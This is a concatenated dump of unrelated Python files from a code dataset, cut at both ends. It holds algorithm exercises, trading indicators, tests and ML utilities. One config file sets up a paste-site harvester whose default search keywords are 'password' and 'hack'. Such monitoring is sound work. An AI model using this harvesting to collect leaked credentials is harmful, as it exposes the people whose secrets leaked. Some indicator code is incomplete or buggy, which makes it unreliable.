normalPath is None:\n # the pattern doesn't overlap with this vertex\n continue\n\n # extract the relevant portion of the pattern\n ptnObj = ptn\n skip = False\n for p in normalPath:\n if isinstance(ptnObj, Variable):\n # the current portion of the target is inside a variable\n skip = True\n elif isinstance(ptnObj, Symbol):\n raise Exception(\"I thought this shouldn't happen\")\n else:\n ptnObj = ptnObj[p]\n\n if skip:\n continue\n\n # try to match the pattern object to the current vertex\n if isinstance(ptnObj, tuple):\n # the vertex must be a tuple of the same length\n if not isinstance(vertex, tuple) or len(vertex) != len(ptnObj):\n failed.add(idx)\n elif isinstance(ptnObj, Variable):\n if ptnObj.name in ptnSymbols and ptnSymbols[ptnObj.name] != vertex:\n failed.add(idx)\n else:\n ptnSymbols[ptnObj.name] = vertex\n elif ptnObj != vertex:\n failed.add(idx)\n\n filteredPatterns = [\n y\n for _, y in filter(\n lambda x: x[0] not in failed, enumerate(filteredPatterns)\n )\n ]\n\n return filteredPatterns","repo_name":"sidmani/rtrs","sub_path":"rtrs/match.py","file_name":"match.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"12602150610","text":"#\n# @lc app=leetcode.cn id=1018 lang=python3\n#\n# [1018] 可被 5 整除的二进制前缀\n#\n# https://leetcode-cn.com/problems/binary-prefix-divisible-by-5/description/\n#\n# algorithms\n# Easy (34.85%)\n# Likes: 17\n# Dislikes: 0\n# Total Accepted: 2.5K\n# Total Submissions: 6.5K\n# Testcase Example: '[0,1,1]'\n#\n# 给定由若干 0 和 1 组成的数组 A。我们定义 N_i：从 A[0] 到 A[i] 的第 i\n# 个子数组被解释为一个二进制数（从最高有效位到最低有效位）。\n#\n# 返回布尔值列表 answer，只有当 N_i 可以被 5 整除时，答案 answer[i] 为 true，否则为 false。\n#\n#\n#\n# 示例 1：\n#\n# 输入：[0,1,1]\n# 输出：[true,false,false]\n# 解释：\n# 输入数字为 0, 01, 011；也就是十进制中的 0, 1, 3 。只有第一个数可以被 5 整除，因此 answer[0] 为真。\n#\n#\n# 示例 2：\n#\n# 输入：[1,1,1]\n# 输出：[false,false,false]\n#\n#\n# 示例 3：\n#\n# 输入：[0,1,1,1,1,1]\n# 输出：[true,false,false,false,true,false]\n#\n#\n# 示例 4：\n#\n# 输入：[1,1,1,0,1]\n# 输出：[false,false,false,false,false]\n#\n#\n#\n#\n# 提示：\n#\n#\n# 1 <= A.length <= 30000\n# A[i] 为 0 或 1\n#\n#\n#\n\nfrom comm import *\n# @lc code=start\nclass Solution(object):\n def prefixesDivBy5(self, A: List[int]) -> bool:\n \"\"\"暴力法\n \"\"\"\n tmp = 0\n ans = []\n for i in A:\n tmp *= 2\n if i:\n tmp += 1\n tmp %= 5 # 只需要维护余数部分\n if tmp == 0:\n ans.append(True)\n else:\n ans.append(False)\n return ans\n\n# @lc code=end\n\nif __name__ == \"__main__\":\n s = Solution().prefixesDivBy5([0,1,1])\n print(s)\n","repo_name":"ruanimal/vscode-leetcode-cn","sub_path":"1018.可被-5-整除的二进制前缀.py","file_name":"1018.可被-5-整除的二进制前缀.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"26284429592","text":"import pandas as pd\nimport numpy as np\n\n##RSI Formula given data:\n#using 14 periods (time indicators)\n#calc avg gain:\n#calc avg loss:\n# |close - open| / open = //gain or loss over period\n\ndef RSI(array): #pass in date, and dataframe (array)\n #use pandas to interate through index: each has \n avg_gain = 0\n avg_loss = 0\n rsi_arr = []\n x = 0\n \n ##range(0,13) close = 3 open = 0\n for x in range(0,14):\n Close = array.iloc[x,3]\n Open = array.iloc[x,0]\n if Open > Close:\n gain = (Open - Close) / Open\n avg_gain = avg_gain + gain\n \n elif Close > Open:\n loss = (Close - Open) / Open\n avg_loss = avg_loss + loss\n\n else: continue\n\n avg_gain = avg_gain / len(array)\n avg_loss = avg_loss / len(array)\n\n if avg_loss == 0.0 or avg_gain == 0.0:\n return [0.0]\n\n rs = avg_gain / avg_loss\n rsi = 100 - (100 / (1+rs))\n rsi_arr.append(rsi)\n \n ##greater than 14 entries:\n \n for x in range(14,len(array)):\n Close = array.iloc[x,3]\n Open = array.iloc[x,0]\n if Open > Close:\n gain = (Open - Close) / Open\n avg_gain = ((avg_gain + gain) * 13) / 14\n avg_loss = ((avg_loss + 0) * 13) / 14\n rs = avg_gain / avg_loss\n rsi = 100 - (100 / (1+rs))\n rsi_arr.append(rsi)\n \n elif Close > Open:\n loss = (Close - Open) / Open\n avg_gain = ((avg_gain + 0) * 13) / 14\n avg_loss = ((avg_loss + loss) * 13) / 14\n rs = avg_gain / avg_loss\n rsi = 100 - (100 / (1+rs))\n rsi_arr.append(rsi)\n \n else: continue\n\n \n #rsi will be last value (maybe get an array of last rsi values?)\n return rsi_arr\n\n\n#moving average\ndef MA(array):\n \n total = 0\n moving_avg = 0\n for x in range(len(array)):\n Close = array.iloc[x,3]\n total = total + Close\n \n moving_avg = total / (len(array))\n return moving_avg\n\n#moving average convergence divergence\n#Moving average convergence divergence (MACD) is a trend-following momentum indicator \n#that shows the relationship between two moving averages of a security’s price. \n#The MACD is calculated by subtracting the 26-period exponential moving average (EMA) \n#from the 12-period EMA\ndef MACD(array):\n MACD = 0\n SMA = MA(array)\n smooth_factor = 2 / ((len(array))+1)\n EMA_t = 0\n EMA_y = 0\n short_EMA_arr = []\n long_EMA_arr = []\n \n #short term EMA = 12 periods\n for x in range(14,26):\n price = array.iloc[x,0]\n EMA_t = (price * (smooth_factor)) + (EMA_y * (1-smooth_factor))\n short_EMA_arr.append(EMA_t)\n EMA_y = EMA_t\n \n \n #long term EMA = 26 periods\n EMA_y = 0\n for x in range(0,26):\n price = array.iloc[x,0]\n EMA_t = (price * (smooth_factor)) + (EMA_y * (1-smooth_factor))\n long_EMA_arr.append(EMA_t)\n EMA_y = EMA_t\n \n \n \n return MACD","repo_name":"adamhaze/DM-Crypto-Trading-Bot","sub_path":"indicator_funcs.py","file_name":"indicator_funcs.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"36778375149","text":"import argparse\nimport imp\nimport os.path\nimport sys\n\nfrom ConfigParser import ConfigParser\n\nfrom pkg_resources import load_entry_point\n\nfrom .mailer import Mailer\nfrom .pastebin_source import PastebinSource\nfrom .sqlite_backend import SqliteBackend\nfrom .text_backend import TextBackend\nfrom .cli_notifier import CliNotifier\n\nfrom .pastesource import PasteSource\nfrom .storage_backend import StorageBackend\nfrom .notifier import Notifier\n\n\ndef _read_keywords(fhandle):\n return [_.rstrip() for _ in fhandle]\n\n\ndef load_ep_object(epname, section_name=None):\n def _do_load(package, section_name, epname):\n try:\n return load_entry_point(package, section_name, epname)\n except ImportError as e:\n #print >> sys.stderr, 'failed to load entry point %s: %s' % (\n # epname, e)\n return None\n\n if not section_name:\n return _do_load('pastycake', 'pastycake', epname) or \\\n _do_load('pastycake', 'pastycake.ext', epname)\n else:\n return _do_load('pastycake', section_name, epname)\n\n\ndef _create_arg_parser():\n opts = argparse.ArgumentParser(description='harvest or snatch pastes')\n opts.add_argument('-a', '--alert_email', metavar='EMAIL', type=str,\n dest='alert_email', help='email to send alerts to',\n default=None, action='store'\n )\n opts.add_argument('-c', '--config', metavar='CFG',\n dest='config_fname', action='store', default=None,\n help='load the config from file CFG. a file ending in \\\n .py(co)? will be treated as python source \\\n whereas a file ending in .ini or .cfg will \\\n be treated as ini-style.'\n )\n opts.add_argument('-k', '--use_keyfile', metavar='KWFILE',\n dest='kwfile', type=argparse.FileType('r'),\n help='read the keywords from KWFILE. if not given \\\n as an argument, then the built-in \\\n DEFAULT_KEYWORDS will be used.'\n )\n opts.add_argument('-o', '--output', metavar='FILENAME',\n dest='filename', action='store', default=None,\n type=str,\n help='specify a different output filename'\n )\n opts.add_argument('gather_mode', metavar='MODE', type=str,\n choices=('harvest', 'snatch'),\n help=\"the mode to use. must be one of 'harvest' \\\n or 'snatch'\"\n )\n opts.add_argument('add_keywords', metavar='KEYWORDS', nargs='*',\n help='additional keywords to search for'\n )\n return opts\n\n\nclass Config(dict):\n _DEFAULT_KEYWORDS = [\n 'password',\n 'hack',\n ]\n\n def __init__(self, defaults=None):\n super(Config, self).__init__(defaults or dict())\n self._set_default_options()\n\n def _set_default_options(self):\n self['backend'] = SqliteBackend()\n self['keywords'] = self._DEFAULT_KEYWORDS\n self['notifiers'] = [CliNotifier()]\n self['modefunc'] = load_entry_point('pastycake', 'console_scripts',\n 'pastycake-harvest')\n self['sources'] = [PastebinSource()]\n\n def _load_python_config(self, filename):\n m = imp.new_module('pastycake_config')\n m.__file__ = filename\n\n try:\n execfile(filename, m.__dict__)\n except IOError as e:\n print >> sys.stderr, \"Failed to parse config file %s: %s\" % (\n filename, e)\n return\n\n self.update(m.__dict__)\n\n def _load_ini_config(self, filename):\n def _map_section(conf, sectname):\n return dict([(opt, val) for opt, val in conf.items(sectname)])\n\n p = ConfigParser()\n p.read(filename)\n\n if p.has_section('backend'):\n tmp = _map_section(p, 'backend')\n\n if 'type' not in tmp.keys():\n raise LookupError('backend without type specified')\n\n tmp_obj = load_ep_object(tmp['type'])\n assert(issubclass(tmp_obj, StorageBackend))\n\n del tmp['type']\n\n self['backend'] = tmp_obj(tmp)\n\n if p.has_section('keywords'):\n kws = []\n for _ in filter(lambda x: x.startswith('file'),\n p.options('keywords')):\n with open(p.get('keywords', _), 'r') as inkws:\n kws += _read_keywords(inkws)\n\n kws = list(set(kws))\n if p.has_option('keywords', 'add') and \\\n p.getboolean('keywords', 'add'):\n self['keywords'] += kws\n else:\n self['keywords'] = kws\n\n for _, _class in (('notifiers', Notifier), ('sources', PasteSource)):\n if p.has_section(_):\n tmp = []\n for opt in p.options(_):\n tmp_obj = load_ep_object(p.get(_, opt))\n assert(issubclass(tmp_obj, _class))\n\n obj_opts = _map_section(p, opt) if p.has_section(opt) \\\n else {}\n tmp.append(tmp_obj(obj_opts))\n\n assert(len(tmp))\n self[_] = tmp\n\n def parse_file(self, filename, format='py'):\n if format not in ('py', 'ini'):\n raise ValueError(\"invalid file format\")\n if format == 'py':\n self._load_python_config(filename)\n elif format == 'ini':\n self._load_ini_config(filename)\n\n def parse_cli(self, arguments=None):\n opts = _create_arg_parser()\n\n try:\n vals = opts.parse_args(arguments)\n except IOError as e:\n print >> sys.stderr, \"failed to parse options: %s\" % e\n sys.exit(1)\n\n if vals.config_fname:\n extension = os.path.splitext(vals.config_fname)[1]\n\n if extension.startswith('.py'):\n extension = 'py'\n elif extension in ('.ini', '.cfg'):\n extension = 'ini'\n else:\n extension = 'py'\n self.parse_file(vals.config_fname, extension)\n\n if vals.kwfile:\n self['keywords'].update(_read_keywords(vals.kwfile[0]))\n\n if vals.alert_email:\n self['notifiers'].append(Mailer(opts.alert_email))\n\n if vals.gather_mode not in ('harvest', 'snatch'):\n print >> sys.stderr, \"unknown gathering mode %s\" % vals.gather_mode\n elif vals.gather_mode == 'harvest':\n self['modefunc'] = load_entry_point('pastycake', 'console_scripts',\n 'pastycake-%s' %\n vals.gather_mode)\n else:\n self['modefunc'] = load_entry_point('pastycake', 'console_scripts',\n 'pastycake-snatch')\n self['backend'] = TextBackend()\n\n self['output.filename'] = vals.filename\n","repo_name":"9b/pastycake","sub_path":"pastycake/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":7271,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"44"} +{"seq_id":"74869409093","text":"def gcd(m,n):\n if n!= 0:\n return gcd(n, m%n)\n else:\n return abs(m)\n\nN = int(input())\nfor i in range(N):\n [m,n] = input().split(\" \")\n m,n = int(m), int(n)\n print(int(m*n/gcd(m,n)))\n","repo_name":"Zaehyeon2/Problem-Solvings","sub_path":"백준/Bronze/1934. 최소공배수/최소공배수.py","file_name":"최소공배수.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"27916928728","text":"# 토마토 쉬운거\nimport sys\nfrom collections import deque\nread = sys.stdin.readline\n\ndx = [0, 1, -1, 0]\ndy = [1, 0, 0, -1]\nqueue = deque()\ngraph=[]\nm, n = map(int, read().split())\n\n# 익어있는 위치를 파악을 해야한다.\n\nfor i in range(n):\n tmp =[] # 빈리스트로 초기화\n tmp = list(map(int, read().split()))\n graph.append(tmp)\n for j in range(m):\n if graph[i][j]==1:\n queue.append([i, j])\n tx = i # n\n ty = j # m\n\n\nwhile queue:\n a, b = queue.popleft()\n for i in range(4):\n nx = a+dx[i]\n ny = b+dy[i]\n if 0<=nx;     \", \"\").strip()\n cfacts[post_id][f_id].append(\n {\n \"stance\": stance,\n \"content\": content,\n }\n )\n examples = []\n for ex in read_jsonl(data_path):\n for f_id, f_stance in ex[\"labels\"].items():\n if f_stance == \"Not Relevant\":\n continue\n f_text = frames[f_id][\"text\"]\n text = ex[\"text\"]\n ex_id = ex[\"id\"]\n\n pf_cfacts = sorted(\n cfacts[ex_id][f_id], key=lambda x: stance_values.index(x[\"stance\"])\n )\n accept_rationale, reject_rationale, no_stance_rationale = pf_cfacts\n\n examples.append(\n {\n \"id\": f\"{ex_id}-{f_id}\",\n \"text\": text,\n \"frame\": f_text,\n \"images\": ex[\"images\"],\n \"accept_rationale\": accept_rationale,\n \"reject_rationale\": reject_rationale,\n \"no_stance_rationale\": no_stance_rationale,\n }\n )\n\n write_jsonl(output_path, examples)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--cfact_path\", type=str, required=True)\n parser.add_argument(\"--data_path\", type=str, required=True)\n parser.add_argument(\"--frame_path\", type=str, required=True)\n parser.add_argument(\"--output_path\", type=str, required=True)\n args = parser.parse_args()\n\n main(\n args.cfact_path,\n args.data_path,\n args.frame_path,\n args.output_path,\n )\n","repo_name":"Supermaxman/LLaVA","sub_path":"llava/serve/format_inputs_cfact_verify.py","file_name":"format_inputs_cfact_verify.py","file_ext":"py","file_size_in_byte":2362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"34"} +{"seq_id":"3824497494","text":"def solution(line):\n answer = []\n position = []\n max_x = -1e15\n max_y = -1e15\n min_x = 1e15\n min_y = 1e15\n\n for i in range(len(line)):\n a, b, e = line[i]\n for j in range(i + 1, len(line)):\n c, d, f = line[j]\n\n # 두 직선이 같거나 평행한 경우는 건너뜀\n if (a * d) - (b * c) == 0:\n continue\n\n # 교점 구하는 공식 사용\n x = (b * f - e * d) / (a * d - b * c)\n y = (e * c - a * f) / (a * d - b * c)\n\n # 정수형 교점만 저장\n if x == int(x) and y == int(y):\n x = int(x)\n y = int(y)\n position.append([x, y])\n\n # 교점을 구하는 즉시 2차원 배열을 위한 max_x, min_x, max_y, min_y 를 구해준다.\n if max_x < x:\n max_x = x\n if max_y < y:\n max_y = y\n if min_x > x:\n min_x = x\n if min_y > y:\n min_y = y\n\n # 별을 찍을 2차원 배열 생성\n grid = [['.' for _ in range(min_x, max_x + 1)] for _ in range(min_y, max_y + 1)]\n\n # 이제 position 교점 좌표를 기준으로 이차원 배열에 별을 삽입한다.\n for pos in position:\n x, y = pos\n\n # 이차원 배열의 행은 좌표평면 상 y, 열은 좌표평면 상 x 이다.\n grid[y - min_y][x - min_x] = '*'\n\n answer = [''.join(grid_line) for grid_line in grid]\n\n print()\n # 역순으로 뒤집고 반환\n return answer[::-1]\n\nprint(solution([[2, -1, 4], [-2, -1, 4], [0, -1, 1], [5, -8, -12], [5, 8, 12]]))\nprint(solution([[0, 1, -1], [1, 0, -1], [1, 0, 1]]))\nprint(solution([[1, -1, 0], [2, -1, 0]]))\nprint(solution([[1, -1, 0], [2, -1, 0], [4, -1, 0]]))","repo_name":"juni8453/python_practice","sub_path":" problem_solving_strategy/복습/matrix/교점에_별_만들기_복습.py","file_name":"교점에_별_만들기_복습.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"73784113696","text":"import unittest\n\nfrom manage_command_line_factory import ManageCommandLineFactory\nimport function_create_canvas_for_testing\n\n\nclass TestManageCommandLineFactory(unittest.TestCase):\n def test_create(self):\n list_command = ['L', '5', '4', '15', '4']\n width = 20\n height = 15\n x1 = int(list_command[1])\n x2 = int(list_command[3])\n y = int(list_command[2])\n test_canvas = function_create_canvas_for_testing(width, height)\n for i in range(x1, x2 + 1):\n test_canvas[y][i] = 'x'\n\n drawing_tool = function_create_canvas_for_testing(width, height)\n CanvasTest = ManageCommandLineFactory(test_canvas)\n CanvasTest.find_points(list_command)\n result = CanvasTest.create(drawing_tool)\n\n assert result == test_canvas\n","repo_name":"Faanagor/Drawing_tool","sub_path":"test/test_manage_command_line_factory .py","file_name":"test_manage_command_line_factory .py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"36136680654","text":"class Solution(object):\n def rob(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n # Bottom-up\n if len(nums) == 1:\n return nums[0]\n p_0 = 0\n pp_0 = 0\n for i in range(1,len(nums)):\n p_0, pp_0 = max(pp_0 + nums[i], p_0), p_0\n \n p_1 = 0\n pp_1 = 0\n for i in range(len(nums) - 1):\n p_1, pp_1 = max(pp_1 + nums[i], p_1), p_1\n \n return max(p_0, p_1)","repo_name":"JinlinSong/leetcode","sub_path":"213.py","file_name":"213.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"71120079457","text":"\"\"\"\nDynamic Program for the Rod Cutting (maximising product) Problem as taught in class. \n28th January, 2020\n\"\"\"\n\ndef calc_max(result,n):\n\tfor i in range(2,n+1):\n\t\tfor j in range(1,i//2+1):\n\t\t\tresult[i] = max(result[i],j*(i-j),j*(result[i-j]))\n\treturn result\nif __name__ == '__main__':\n\tn = int(input())\n\tresult = [0 for i in range(n+1)]\n\tresult = calc_max(result,n)\n\tprint(result)\n","repo_name":"v-hegde31/APS-2020","sub_path":"CodeLib/4-RodCutMax.py","file_name":"4-RodCutMax.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"25390362033","text":"# -*- coding: utf-8 -*-\n\nfrom imio.smartweb.core.testing import IMIO_SMARTWEB_CORE_INTEGRATION_TESTING\nfrom imio.smartweb.core.testing import ImioSmartwebTestCase\nfrom imio.smartweb.core.viewlets.category import CategoryViewlet\nfrom plone import api\nfrom plone.app.testing import setRoles\nfrom plone.app.testing import TEST_USER_ID\n\n\nclass TestCategories(ImioSmartwebTestCase):\n layer = IMIO_SMARTWEB_CORE_INTEGRATION_TESTING\n\n def setUp(self):\n \"\"\"Custom shared utility setup for tests\"\"\"\n self.request = self.layer[\"request\"]\n self.portal = self.layer[\"portal\"]\n setRoles(self.portal, TEST_USER_ID, [\"Manager\"])\n\n def test_viewlet_on_content_with_no_category(self):\n viewlet = CategoryViewlet(self.portal, self.request, None, None)\n viewlet.update()\n self.assertFalse(viewlet.available())\n self.assertIsNone(viewlet.get_category())\n\n def test_viewlet_on_page(self):\n page = api.content.create(\n container=self.portal,\n type=\"imio.smartweb.Page\",\n title=\"Page\",\n )\n viewlet = CategoryViewlet(page, self.request, None, None)\n viewlet.update()\n self.assertFalse(viewlet.available())\n self.assertIsNone(viewlet.get_category())\n page.taxonomy_page_category = \"publication\"\n self.assertTrue(viewlet.available())\n self.assertEqual(viewlet.get_category(), \"Publication\")\n\n def test_viewlet_on_procedure(self):\n procedure = api.content.create(\n container=self.portal,\n type=\"imio.smartweb.Procedure\",\n title=\"Procedure\",\n )\n viewlet = CategoryViewlet(procedure, self.request, None, None)\n viewlet.update()\n self.assertFalse(viewlet.available())\n self.assertIsNone(viewlet.get_category())\n procedure.taxonomy_procedure_category = \"autorisation_carte\"\n self.assertTrue(viewlet.available())\n self.assertEqual(viewlet.get_category(), \"Authorization and card\")\n","repo_name":"IMIO/imio.smartweb.core","sub_path":"src/imio/smartweb/core/tests/test_categories.py","file_name":"test_categories.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"34"} +{"seq_id":"26372187985","text":"\n\n\"\"\"\nMake an image for masking a powder diagram to convert it to a set of\nisolated peaks\n\"\"\"\n\n\nfrom ImageD11 import transform, parameters, blobcorrector\nimport numpy as np\nfrom fabio.openimage import openimage\n\ndef make_powder_mask( parfile,\n ndeg = 1,\n splinefile=None,\n dims=(2048, 2048) ):\n \"\"\"\n Compute a two theta and azimuth image\n \"\"\"\n pars = parameters.parameters()\n pars.loadparameters( parfile )\n if splinefile is None:\n spatial = blobcorrector.perfect()\n else:\n spatial = blobcorrector.correctorclass( splinefile )\n xim, yim = spatial.make_pixel_lut ( dims )\n peaks = [ np.ravel( xim ) , np.ravel( yim ) ]\n tth , eta = transform.compute_tth_eta( peaks , **pars.get_parameters() )\n tth.shape = dims\n eta.shape = dims\n # Assume a circle geometry for now\n # tth * eta ~ length on detector\n # lim = tth * eta\n # need some idea how to cut it up...\n # degree bins\n m = (eta.astype(int) % 2)==0\n return m\n\nif __name__==\"__main__\":\n import sys\n parfile = sys.argv[1]\n m = make_powder_mask( parfile )\n obj = openimage(sys.argv[2])\n np.multiply( obj.data , m , obj.data )\n obj.write( sys.argv[3])\n\n","repo_name":"FABLE-3DXRD/ImageD11","sub_path":"sandbox/make_powder_mask.py","file_name":"make_powder_mask.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"44"} +{"seq_id":"35446663657","text":"__doc__ = \"\"\"This module contains tools to import, hack and slice data.\nSubmodules implement importers for various data sources.\n\n(cc) 2015 Luis Rodil-Fernandez \n\"\"\"\n\nimport os, sys\nimport logging\n\nimport cookbook\nfrom chef.models import *\nfrom storm.locals import *\n\nclass FoodImporter:\n\t__source__ = \"Undefined\"\n\nclass PostProcessingTool:\n \"\"\"Post processing tools are used to massage the imported data into workable formats\n total processed: {0}\n failed to process: {1}\n \"\"\"\n def __init__(self):\n logging.debug('Init...')\n self.stats = {}\n self.stats['processed'] = 0\n self.stats['failed'] = 0\n self.book = None\n\n def query(self):\n return None\n\n def finalize(self):\n t = Trail()\n t.what = self.__doc__.format(self.stats['processed'], self.stats['failed'])\n t.script = os.path.basename(sys.argv[0])\n self.book.add(t)\n self.book.commit()\n\n def processOne(self):\n pass\n\n def run(self):\n try:\n self.book = Store( cookbook.open() )\n res = self.query()\n #print \"res:\", res\n if res:\n for r in res:\n self.processOne(r)\n except KeyboardInterrupt as e:\n raise e\n except Exception as e:\n logging.error(str(e))\n self.stats['failed'] += 1\n # ad to our list of failures so that we can try some other time\n f = Fail()\n f.reason = str(e)\n self.book.add(f)\n self.book.commit()\n finally:\n self.finalize()\n if self.book: self.book.close()\n logging.info('Finished. Goobye!')\n","repo_name":"dropmeaword/algokitchen","sub_path":"software/knife/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"28554466620","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 12 14:38:56 2019\n\n@author: Carter\n\"\"\"\n\n#simulated Annealing\n\nimport numpy as np\nimport time\nfrom util import write_trace\n\n\ndef swap(pairwise_dist, path,i,j):\n #swaps the position of two local neighbors\n return path[:i] + path[i:j+1][::-1] + path[j+1:]\n\ndef compute_tour(pairwise_dist, path):\n\tcost = 0\n\tfor i in range(len(path)-1):\n\t\tcost += pairwise_dist[path[i]][path[i+1]]\n\treturn cost\n\ndef schedule(t_start,time_limit):\n #linear schedule\n t = time.time() - t_start\n temp = (time_limit - t)/time_limit\n if temp < 0:\n temp = 0\n return temp\n\ndef schedule_exponential(t_start,time_limit):\n #exponential cooling schedule \n t = time.time() - t_start\n alpha = 0.01\n temp = time_limit*alpha**t\n if temp < 0:\n temp = 0\n return temp\n\ndef LS2(pairwise_dist, output_filename, start_time, cut_time, seed):\n \"\"\"\n simulated annealing\n \"\"\"\n np.random.seed(seed) \n N = len(pairwise_dist)\n min_cost = float('inf')\n best_path = None\n\n while True:\n \tpath = np.arange(1, N)\n \tnp.random.shuffle(path)\n \tpath = [0] + list(path) + [0]\n \tupdated = True\n\n \twhile updated:\n \t\tupdated = False\n \t\tfor i in range(1,len(path)-2):\n \t\t\tfor j in range(i+1,len(path)-1):\n #calculte the temperature based on the cooling schedule\n \t\t\t T = schedule_exponential(start_time,cut_time)\n \t\t\t cost_current = compute_tour(pairwise_dist,path)\n \t\t\t if T == 0:\n \t\t\t return cost_current, path\n \t\t\t new_path = swap(pairwise_dist, path, i, j)\n \t\t\t if new_path is not None:\n \t\t\t cost_new = compute_tour(pairwise_dist,new_path)\n \t\t\t #find the normalized change in cost to get the change in energy\n \t\t\t delta_E = (cost_new - cost_current)/cost_current\n \t\t\t #if energy change is less than 0 accept the new path\n \t\t\t if delta_E < 0:\n \t\t\t path = new_path\t\t\t \n \t\t\t else:\n #if the energy is positive randomly accept based on T - temperature\n \t\t\t a = np.random.rand() \t\t\t \n \t\t\t if a < np.exp(-delta_E/T):\n \t\t\t path = new_path \t\t\t \n \t\t\t updated = True\n \t\t\t cost = compute_tour(pairwise_dist, path)\n \t\t\t if cost < min_cost:\n \t\t\t \tmin_cost = cost\n \t\t\t \tbest_path = path\n \t\t\t \twrite_trace(output_filename, start_time, min_cost)\n \t\t\t if time.time() - start_time > cut_time:\n return min_cost, best_path[:-1]\n \n return min_cost, best_path[:-1]\n","repo_name":"carterprice2/Algorithms_final_project","sub_path":"LS2.py","file_name":"LS2.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"43055460385","text":"__author__ = 'bixlermike'\n\n# Ridge regression estimates the weight coefficient vector as:\n# Theta = (xT * x + I)^-1 * xT * y\n# x: Feature vector, xT = transpose of feature vector, I = identity matrix, y = reward vector (all 0s or 1s)\n# Here we use A = (xT * x + I)^-1 and B = (xT * y), so theta is then theta = A^-1 * b\n# Get predictions for each article by multiplying weight vector (theta) * feature vector (x)\n\nimport math\nimport numpy as np\nimport random as rn\n\nfrom exploChallenge.policies.ContextualBanditPolicy import ContextualBanditPolicy\nfrom exploChallenge.policies.RidgeRegressor import RidgeRegressor\n\ndef rargmax(x):\n m = np.amax(x)\n indices = np.nonzero(x == m)[0]\n return rn.choice(indices)\n\nclass eAnnealingContextual(ContextualBanditPolicy):\n\n def __init__(self, regressor):\n self.regressor = regressor\n self.d = 136\n self.trials = 1\n self.regressor_predictions = {}\n # A dxd identity matrix\n self.A = {}\n # Inverse of A\n self.AI = {}\n # A dxd zeroes matrix\n self.b = {}\n # Holds feature vector\n self.x = {}\n # Transpose of feature vector\n self.xT = {}\n # A inverse times b\n self.theta = {}\n # Transpose of theta\n self.thetaT = {}\n\n def getActionToPerform(self, visitor, possibleActions):\n xT = np.array([visitor.getFeatures()])\n x = np.transpose(xT)\n self.x = x\n self.xT = xT\n self.epsilon = 1 / math.log(self.trials + 0.0000001)\n self.trials += 1\n # Set up dictionaries for any articles not seen previously\n for article in possibleActions:\n if article.getID() not in self.A:\n self.A[article.getID()] = np.identity(self.d)\n self.b[article.getID()] = np.zeros((self.d, 1))\n self.AI[article.getID()] = np.identity(self.d)\n # Completes calculation of theta\n self.theta[article.getID()] = np.dot(self.AI[article.getID()], self.b[article.getID()])\n self.thetaT[article.getID()] = np.transpose(self.theta[article.getID()])\n # Now use estimated feature coefficients to predict which article is best given the contextual information\n self.regressor_predictions[article.getID()] = float(np.dot(self.thetaT[article.getID()], x))\n\n ## Exploit\n if rn.random() > self.epsilon:\n\n regressor_values = [self.regressor_predictions[a.getID()] for a in possibleActions]\n return possibleActions[rargmax(regressor_values)]\n\n ## Explore\n else:\n randomIndex = rn.randint(0, len(possibleActions) - 1)\n return possibleActions[randomIndex]\n\n\n def updatePolicy(self, content, chosen_arm, reward):\n # updatePolicy\n if reward == 1:\n self.rewards = 1\n else:\n self.rewards = 0\n # Part of theta calculation equivalent to x * x tranpose + identity matrix\n self.A[chosen_arm.getID()] += np.outer(self.x, self.x) + np.identity(self.d)\n # Equivalent to x transpose * y (reward)\n self.b[chosen_arm.getID()] += self.x * self.rewards\n\n #if self.rewards == 1:\n # print np.transpose(self.b[chosen_arm.getID()])\n # Need to do inverse of A for final calculation of theta\n self.AI[chosen_arm.getID()] = np.linalg.inv(self.A[chosen_arm.getID()])\n\n","repo_name":"nocommonsents/Contextual-Bandits","sub_path":"exploChallenge/policies/eAnnealingContextual.py","file_name":"eAnnealingContextual.py","file_ext":"py","file_size_in_byte":3405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"74164625733","text":"import numpy as np\r\n\r\nimport torch\r\nimport torch.nn as nn\r\n\r\nimport data\r\nimport utils\r\n\r\nclass DCNNGenerator(nn.Module):\r\n '''\r\n Based on\r\n https://pytorch.org/tutorials/beginner/dcgan_faces_tutorial.html\r\n '''\r\n nz = 128\r\n nf = 64\r\n\r\n def __init__(self):\r\n super(DCNNGenerator, self).__init__()\r\n self.main = nn.Sequential(\r\n # input is Z, going into a convolution\r\n nn.ConvTranspose2d(self.nz, self.nf * 8, 4, 1, 0, 